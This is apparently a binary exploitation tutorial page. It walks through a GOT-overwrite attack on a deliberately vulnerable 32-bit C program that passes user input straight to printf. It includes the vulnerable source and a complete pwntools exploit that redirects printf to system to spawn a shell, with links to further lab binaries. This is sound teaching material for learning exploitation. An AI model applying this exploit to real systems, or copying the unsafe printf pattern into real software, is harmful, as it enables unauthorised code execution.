# Exploiting a GOT overwrite

## Source

{% file src="https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MGddYDwrYuMy3xnJ2w1%2F-MGdeGPzo1WBhizlJhze%2Fgot-overwrite-32.zip?alt=media&token=369171f6-0068-4bda-a6b2-eb0b9997da4e" %}
GOT Overwrite - 32-bit
{% endfile %}

The very simplest of possible GOT-overwrite binaries.

```c
#include <stdio.h>

void vuln() {
    char buffer[300];
    
    while(1) {
        fgets(buffer, sizeof(buffer), stdin);

        printf(buffer);
        puts("");
    }
}

int main() {
    vuln();

    return 0;
}
```

Infinite loop which takes in your input and prints it out to you using `printf` - no buffer overflow, just format string. Let's assume ASLR is disabled - have a go yourself :)

## Exploitation

As per usual, set it all up

```python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()
```

Now, to do the `%n` overwrite, we need to find the offset until we start reading the buffer.

```
$ ./got_overwrite 

%p %p %p %p %p %p
0x12c 0xf7fa7580 0x8049191 0x340 0x25207025 0x70252070
```

Looks like it's the 5th.

```
$./got_overwrite
 
%5$p
0x70243525
```

Yes it is!

```python
payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.interactive()
```

Now, next time `printf` gets called on your input it'll actually be `system`!

If the buffer is restrictive, you can always send `/bin/sh` to get you into a shell and run longer commands.

### Final Exploit

```python
from pwn import *

elf = context.binary = ELF('./got_overwrite-32')
libc = elf.libc
libc.address = 0xf7dc2000       # ASLR disabled

p = process()

payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']})
p.sendline(payload)

p.clean()

p.sendline('/bin/sh')

p.interactive()
```

## 64-bit

You'll never guess. That's right! You can do this one by yourself.

{% file src="https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MGddYDwrYuMy3xnJ2w1%2F-MGdeK_6u6Yiu08bGMNL%2Fgot-overwrite-64.zip?alt=media&token=50dffca2-3311-4f42-8abd-c9527d181bbd" %}
GOT Overwrite - 64-bit
{% endfile %}

## ASLR Enabled

If you want an additional challenge, re-enable ASLR and do the 32-bit and 64-bit exploits again; you'll have to leverage what we've covered previously.

{% file src="https://349224153-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-MEwBGnjPgf263kl5vWP%2F-MGddYDwrYuMy3xnJ2w1%2F-MGdeNzszYLApmwgmpqn%2Fgot-overwrite-aslr.zip?alt=media&token=fe86513a-583a-416f-b8d2-ff507ec88e89" %}
GOT Overwrite - ASLR Exploit Scripts
{% endfile %}
